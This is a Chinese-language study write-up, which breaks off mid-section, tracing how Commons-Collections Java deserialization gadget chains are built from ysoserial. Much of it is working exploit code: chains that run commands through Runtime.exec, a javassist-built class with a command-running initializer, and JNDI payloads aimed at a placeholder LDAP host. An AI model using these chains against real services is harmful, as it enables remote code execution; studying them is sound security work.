commons-collections利用链学习总结
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整过Fastjson、Jackson和XML反序列化之后，感觉还需要对Commons-Collections链来个更清晰的认识，所以决定从ysoserial源码和CC链源码出发，复原整个链是如何构造出来的
1 基础
首先要说一个重要假设，如果某台服务器上，开了一个服务，接受java序列化字节码，并且使用ObjectInputStream.readObject方法进行反序列化，应该如何利用？
- 直接写一个恶意java类，例如Test，并在其中写入命令执行的代码，序列化后传给服务器，可以在服务器上执行吗？当然不行！因为没有Test类，服务器上执行readObject的时候直接报错，找不到Test类
- 必须用服务器上存在的类，怎么让它在readObject执行过程中触发呢？这里就是CC链的重要意义了，如果反序列化的类定义了readObject方法，服务器上执行ObjectInputStream.readObject时，会自动调用反序列化类中的readObject方法，更进一步的，如果反序列化类的readObject方法中执行了该类成员变量的某些方法，而这些成员变量是可控的，一个反序列化利用或许就出现了
在readObject反序列化中有个重要利用链就是Commons-Collections组件的利用链，该组件是各种中间件必用的组件，所以可以利用的范围广泛！
CC链（Commons-Collections）中非常重要的就是几个Transformer类、HashMap、HashSet、HashTable、LazyMap、TiedMapEntry、BadAttributeValueExpException、AnnotationInvocationHandler、Proxy.newProxyInstance，看着好像很多有点唬人，其实理解之后会发现都不是大问题，特别是看过这些类的源码之后，每个利用链就会很清晰。一个一个来：
ConstantTransformer
这个类的作用就是保存一个对象而已，创建实例时需要传入一个需要保存的对象，调用实例的transform即可获得其中的常量，没有多余的处理逻辑（推荐直接看源码）
public O transform(final I input) {
return iConstant;
}
InvokeTransformer
这个类的主要功能就是执行某个对象的某个方法，直接上源码
//构造函数
public InvokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes != null ? paramTypes.clone() : null;
iArgs = args != null ? args.clone() : null;
}
//功能函数
public O transform(final Object input) {
if (input == null) {
return null;
}
try {
final Class<?> cls = input.getClass();
final Method method = cls.getMethod(iMethodName, iParamTypes);
return (O) method.invoke(input, iArgs);
}catch (...){...}
- 构造函数要求传入方法名，方法需要参数类型，具体参数
- 功能函数transform需要传入一个对象，然后执行构造函数中给定的方法
其实这个类的功能就是反射执行一个类的特定方法而已
ChainedTransformer
这个类创建实例时，需要传入一个Transformer数组，该类的功能就是遍历执行Transformer数组的transform函数，并且将上一次的transform函数的执行结果作为下一次transform的输入，看源码
public T transform(T object) {
for (final Transformer<? super T, ? extends T> iTransformer : iTransformers) {
object = iTransformer.transform(object);
}
return object;
}
其中的iTransformer就是创建时传入的Transformer数组。
到这里，三个Transformer其实就可以连接起来了，先创建一个Transformer数组，用ConstantTransformer起手，传入一个对象，用InvokeTransformer一步一步调用函数，再将数组传入ChainedTransformer，调用其transform函数。
举例，先定义一个Test类
public static class Test{
public String name;
public Test setName(String name) {
System.out.println("setName to " + name);
this.name = name;
return this;
}
public String getName(){
System.out.println("getName " + this.name);
return this.name;
}
}
再写一个transformer数组，并传入ChainedTransformer，调用transform方法
从例子不难理解，chainedTransformer调用过程和object.xxx().yyy().zzz()是一样的，只是需要用InvokerTransformer来完成。那Transformer数组就可以组合成任意想要执行的代码，例如
Transformer[] transformer = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{0, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
chainedTransformer.transform(null);
这个利用链等价于Runtime.class.getMethod("getRuntime", null).invoke(null, null).exec("calc")
或者也可以用chainedTransformer链调用JdbcRowSetImple，恰好它还继承了Serializable，可以序列化，所以只需要设置一下dataSourceName属性再调用autoCommit即可触发JNDI注入，就不展开说明了，了解过fastjson漏洞就清楚了。代码如下
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
Transformer[] transformer = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
LazyMap
前面ChainedTransformer已经可以打通命令执行或者代码执行了，那么如何在readObject之后，执行到transform函数呢，先一步一步来。一般都不会有什么代码直接写个xxx.transform(null)，所以需要进一步包装一下。恰好有个LazyMap，关键源代码如下
//静态方法，创建LazyMap实例
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
// 构造函数，将传入的Transformer设定为this.factory
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
// 重点方法，里面会调用到this.factory.transform()
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
简单看一下源代码就知道，如果传入的map是一个空的map，在get函数中就一定会指定factory.transform(key)，而factory又是我们传入的chainedTransformr实例，所以调用了lazyMap.get，就会命令执行了。（补充：这个类定义了writeObject和readObject方法，所以可以实例化）
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
lazyMap.get(123);
TiedMapEntry
其实LazyMap的get方法已经可以结合一些类的readObject方法实现调用链了，但是通过TiedMapEntry可以进一步扩展调用链，看几个关键源代码
//构造函数，map可以传入lazyMap，key随便传一个字符串即可
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
//重点在于map.get(key)=lazyMap.get(key)->chainedTransformer.transform()
public Object getValue() {
return map.get(key);
}
//equals方法，重点在于调用了getValue()->map.get(key)
public boolean equals(Object obj) {
if (obj == this) {
return true;
}
if (obj instanceof Map.Entry == false) {
return false;
}
Map.Entry other = (Map.Entry) obj;
Object value = getValue();
return
(key == null ? other.getKey() == null : key.equals(other.getKey())) &&
(value == null ? other.getValue() == null : value.equals(other.getValue()));
}
//hashCode方法，重点也是getValue()->map.get(key)
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
//toString方法，getValue()->map.get(key)
public String toString() {
return getKey() + "=" + getValue();
}
这个类简直是宝藏啊！把一个单纯的get方法，直接扩展了4个方向，也就是说，找到某些类的readObject方法执行过程中，调用到了成员实例的getValue、equels、hashcode、toString方法，只要把成员是TiedMapEntry实例，就可以构成一个反序列化的链了。
TransformingComparator
这个类主要是把transform调用放在了compare函数中，相当于增加了一个利用链的方向，看看关键源代码
//构造函数
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
// compare函数，无判断条件直接调用transform
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
这里利用链就比较简单了，很明显只要readObject过程中调用了实例的compare方法，就可以触发了。
PriorityQueue
这个类的核心在于readObject方法一路调用之后(readObject>heapify->siftDown->siftDownUsingComparator->comparator.compare(x, e))，执行到comparator.compare(e)，其中e是该类队列中的变量，可以在序列化前放进去。
到这里需要结合另一个类，TransformingComparator来食用，TransformingComparator的compare和构造方法如下
// 构造方法
public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
// compare方法
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
很明显构造方法传入一个tansformer对象即可，然后配合前面的调用链，执行到transform函数，所以这个类的整体调用链如下
readObject>heapify->siftDown->siftDownUsingComparator->comparator.compare(x, e)->TransformingComparator.compare(e)->transformer.transform(e))
实际上已经连接到Transformer了，用ChainedTransoformer或其它方法都可以实现RCE。到这里ysoserial的作者为了实现任意代码执行，使用了另一个类：com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl下面展开一下这个类
TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是jdk自带的类，里面用到的核心方法如下
// 核心方法1，newTransformer
public synchronized Transformer newTransformer() throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
这里代码看到getTransletInstance调用，跟进一下
// 核心方法2 getTransletInstance
private Translet getTransletInstance() throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
可以看到__class==null时，会执行defineTransletClasses()，而后__class[_transletIndex].newInstance()，在数组中取出一个类对象调用newInstance方法。也就是说最终会产生一个类对象。进一步跟进defineTransletClasses方法看看
// 核心方法3，defineTransletClasses，根据字节码，创建类对象
private void defineTransletClasses() throws TransformerConfigurationException {
if (_bytecodes == null) { // 这里如果_bytecodes==null，程序直接报错，所以不能为null
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
// 获取classLoader，用于后面加载类的字节码
TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
// 创建常量
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
// 循环使用defineClass加载类字节码，返回类对象
_class[i] = loader.defineClass(_bytecodes[i]);
// 省略后的代码，后面基本不用看了，因为没有对__class数组产生影响，返回前面的getTransletInstance函数中
}
}
catch() { //异常处理，省略 }
}
返回到getTransletInstance，关键在于执行了__class[_transletIndex].newInstance()创建类对象，这一步就可以在自定义的恶意类静态代码块添加恶意代码了
2 实现readObject方法的类及其利用链
前面基础部分已经把命令执行或任意java代码执行串联到，只需要执行get、equals、hashCode、toString、compare、getValue方法了，现在来找一些实现了readObject方法，并且可以其过程中调用了内部实例的get、equals等方法，就可以构成一个反序列化利用链了。
BadAttributeValueExpExceptionCC
这里就不用ysoserial定义的Commons-Collections 1-7来称呼了，一点也不好记，用实现了readObject方法的类名+CC简称更容易记忆和感受一些。
BadAttributeValueExpException实现了readObjcet方法，并且其中有个valObj.toString方法
class BadAttributeValueExpException{
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
// 构造函数
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
}
这里是不是正好想到了前面的TiedMapEntry的toString方法！如果把valObj变成TiedMapEntry的实例，直接就从readObjct连到transform了。来看看上面的关键源代码，valObj就是val这个成员，再看看构造函数，this.val会被转换为val.toString，因此不能new BadAttributeValueExpException时传入TiedMapEntry，需要使用反射在创建BadAttributeValueExpException对象后修改其val成员变量：
// 省略chainedTransformer创建的过程，直接从前面拿过来就可以了
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxxx");
BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
try{
// 反射修改val
Field val = expException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(expException, tiedMapEntry);
}catch (Exception e){e.printStackTrace();}
// 本地写文件验证
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(expException);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
如果感觉写文件验证不够严谨，可以创建一个socket服务端，本地把序列化后的字节流传给socket服务端，服务端把接收的字节流直接readObject即可验证
这里的利用链也比较清晰
PriorityQueueCC
ysoserial原生调用链如下
readObject>heapify->siftDown->siftDownUsingComparator->comparator.compare(x, e)->
TransformingComparator.compare(e)->transformer.transform(e))->invokerTransformer.transform(e)->
TemplatesImpl.newTransform->TemplatesImpl.getTransletInstance->_class[_transletIndex].newInstance()
看到调用链，结合前面提到的关键函数，这个链也就很好理解了，上代码
// 需要反射的两个类
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
// 这里需要借助javassist中的相关方法，动态创建类，动态添加类方法和静态代码块
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("PriorityQueueCCC");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
// 用来保存字节码
byte[] bytes = payload.toBytecode();
// 反射创建TemplatesImpl类实例
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
// 反射修改其中的_bytecodes属性
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
// 反射修改其中的_name属性
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
// 创建InvokerTransformer实例，并写好newTransfomer方法调用
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
// 创建TransformingComparator实例，放在后面的PriorityQueue中
TransformingComparator comparator=new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
// 反射修改PriorityQueue中的comparator变量，反序列化后，会自动调用comparator.compare方法
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
// 修改PriorityQueue中的queue变量，因为反序列化后，queue中的对象会传入comparator.compare方法中，
// 然后调用到templatesImpl.newTransform
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
// 模拟序列化和反序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
PriorityQueueCC2
前面使用TemplatesImpl属实麻烦，直接把transformer处改成ChainedTransformer的实例即可，所以稍微改了一下PriorityQueueCC链
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
Transformer[] transformer = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);
// 反射修改comparator
Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, transformingComparator);
// 模拟序列化和反序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(priorityQueue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
HashMapCC
HashMap实现了readObject方法，在反序列化后，会执行它的readObject方法，其方法中关键在于执行了hash(key)->key.hashCode()这个调用链，那很明显，跟前面的TiedMapEntry就可以接起来了。先看看HashMap中涉及到的核心方法
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
// 省略很多不相关代码，以及读取字节码中数据的代码
// 读取key和value，put到HashMap的mapping中
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
这里可以看到，最后putVal前执行了hash(key)，跟进HashMap.hash(key)，可以看到，直接调用了key.hashCode方法，如果把key设置为TiedMapEntry的实例，直接就把利用链构造出来了。所以，代码如下
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Transformer transformer[] = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
HashMap hashMap1 = new HashMap(1);
// 由于是执行了key.hashCode()，所以要把tiedMapEntry作为key
hashMap1.put(tiedMapEntry, "test");
lazyMap.clear();
// hashmap.put时本地触发exp链，map.put->map.hash->entry.hashcode->lazymap.get->transform
// 由于创建hashmap后，会自动给lazyMap添加一个<key,value>，所以要remove掉这个键值对
// 以保证lazyMap.get时，map.containsKey(key) == false，从而进入transform函数
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformer);
try{
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(hashMap1);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
}catch (Exception e){e.printStackTrace();}
HashSetCC
HashSet的readObject方法中，创建了HashMap，并用HashMap的实例put反序列化出来的对象
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
// 省略读取字节码的部分
// Create backing HashMap 创建一个map对象，三元表达式结果会创建一个HashMap对象，而且LinkedHashMap继承自HashMap并且没有重写put方法
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in all elements in the proper order. 关键在于执行了map.put
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
这个利用链和前面的HashMap利用链接上了，map.put(e, PRESENT)=HashMap.put(e, PRESENT)->HashMap.hash(e)->e.hashCode()
所以只需要把tiedMapEntry放进HashSet即可完成利用链的构造
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Transformer transformer[] = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
// chainedTransformer.transform(null);
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test");
// 由于创建hashset后，会自动给lazyMap添加一个key-value，所以要remove掉这个键值对
// 以保证lazyMap.get时，map.containsKey(key) == false，从而进入transform函数
// 避免hashset.add时本地触发exp add->map.put->map.hash->entry.hashcode->lazymap.get->transform
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformer);
try{
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(hashSet);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
}catch (Exception e){e.printStackTrace();}
HashTableCC
先看看HashTable的readObject方法
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException
{
// 省略前面不相关代码
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject(); // 读取key
@SuppressWarnings("unchecked")
V value = (V)s.readObject(); // 读取value
// synch could be eliminated for performance
reconstitutionPut(table, key, value); // 给内部table添加key-value
}
}
跟进reconstitutionPut方法
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode(); // 注意这里
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) { // 注意key.equals()
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
很明显了，看到key.hashCode可以直接和TiedMapEntry链接起来；而key.equals也可以执行执行吗？
先来看看HashTable->TiedMapEntry->LazyMap->ChainedTransformer的利用链
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Transformer transformer[] = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
// 创建lazyMap
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
lazyMap.put("test", 1);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
Hashtable hashtable = new Hashtable(1);
hashtable.put(tiedMapEntry, 1);
lazyMap.remove("test");
// 由于创建hashtable后，会自动给lazyMap添加一个key-value，所以要remove掉这个键值对
// 以保证反序列化后，lazyMap.get时，map.containsKey(key) = false，从而进入transform函数
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformer);
// 本地写文件
try{
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(hashtable);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
}catch (Exception e){e.printStackTrace();}
这个链主要是在HashTable.reconstitutionPut中调用key.hashCode()方法，而这个key可以被设置为tiedMapEntry对象，所以就形成了HashTable->TiedMapEntry->..ChainedTransformer的利用链。
HashTableCC2
然后再来看看key.equals的触发点，这里需要对lazyMap进一步解析，特别是其内部的map。我们在创建lazyMap的时候，传入了一个HashMap，又由于LazyMap继承自AbstractMapDecorator，所以其map属性定义也是继承自AbstractMapDecorator。
// 类的继承关系
public class LazyMap extends AbstractMapDecorator implements Map, Serializable{
// 创建lazyMap的方法
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
// 构造函数
protected LazyMap(Map map, Transformer factory) {
super(map); // 调用父类的构造方法
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
// super(map) 父类构造函数
public AbstractMapDecorator(Map map) {
if (map == null) {
throw new IllegalArgumentException("Map must not be null");
}
this.map = map; // 注意这里，this.map=传进来的map，也就是HashMap
}
}
然后this.map=HashMap，所以看看HashMap的源码
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable
看到HashMap继承了AbstractMap，跟进看一下AbstractMap的源码，并且主要看一下equals方法！
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o; // 这里转换了一下变量名 m = o
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key))) // 执行了m.get()
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch () { //省略}
return true;
}
到这里，如果m就是我们输入的lazyMap，结合前面提到过的lazyMap.get->transformer.transform，那直接就进入恶意代码环节了。所以先来个利用代码，再梳理一下利用链
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
Transformer transformer[] = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
Map map1=new HashMap();
Map map2=new HashMap();
Map lazyMap1= LazyMap.decorate(map1,chainedTransformer);
Map lazyMap2= LazyMap.decorate(map2,chainedTransformer);
Field f = Class.forName("org.apache.commons.collections.map.AbstractMapDecorator").getDeclaredField("map");
f.setAccessible(true);
Object map = f.get(lazyMap1);
System.out.println(map.getClass().getName());
lazyMap1.put("yy",1);
lazyMap2.put("zZ",1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
lazyMap2.remove("yy");
//避免hashtable.put本地触发exp
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformer);
// 读写文件测试
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(hashtable);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
反序列化的时候是这样触发的：
HashTable.readObject()
Hashtable.reconstitutionPut() 源码 -> e.key.equals(key) 这里e.key是一个lazyMap，key也是lazyMap
lazyMap本身没有实现equals方法，继承了AbstractMapDecorator，所以调用父类的equals方法
AbstractMapDecorator.equals(key) 源码 -> return this.map.equals(key)
HashMap.equals(key)
AbstractMap.equals(key)
m.get(xx) <=> lazyMap.get(xx)
AbstractMapDecorator.equals源代码中，使用其实例中map成员的equals方法，即return this.map.equals(key)
由于创建lazyMap时，传入的是一个HashMap，所以调用了HashMap.equals，而HashMap继承自AbstractMap，并且没有重写equals方法，所以实际上调用AbstractMap.equals(key)。
在上面AbstractMap.equals(key)源码会存在m=o，再m.get(key)，实际上参数o就是一个之前从Hashtable.reconstitutionPut()一路传递进去的那个key，也就是lazyMap，所以这里就等于是执行lazyMap.get(xx)，到此利用链就连起来了。
最后给个IDEA报错提示，看看调用链
at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:132)
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)
at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151)
at java.util.AbstractMap.equals(AbstractMap.java:472)
at org.apache.commons.collections.map.AbstractMapDecorator.equals(AbstractMapDecorator.java:129)
at java.util.Hashtable.reconstitutionPut(Hashtable.java:1221)
at java.util.Hashtable.readObject(Hashtable.java:1195)
这个利用链似乎有点绕，但多看看源码和利用代码，还是比较容易理解的
AnnotationInvocationHandlerCC
这个利用链，主要是用到了AnnotationInvocationHandler类，它继承了InvocationHandler和Serializable，并且还重写了readObject方法。
先来看看继承InvocationHandler代表什么含义：在java中提供了一种动态代理创建对象的方式，也就是Proxy.newProxyInstance()方法，这个方法需要三个参数：
- classLoader
- 被创建类实现的所有接口
- InvocationHandler实例
被动态代理创建的对象，调用任意方法时，都会先调用代理类，也就是InvocationHandler实例的invoke方法，可以参照栗子
那么回到AnnotationInvocationHandler，看看它的readObject方法和invoke方法
public Object invoke(Object var1, Method var2, Object[] var3) {
//有点长，省略一些不太相关代码，想详细看的话，可以直接看看源码
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4); // 注意这里，调用了this.memberValues.get()
// 省略后方代码
}
}
// readObject方法
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
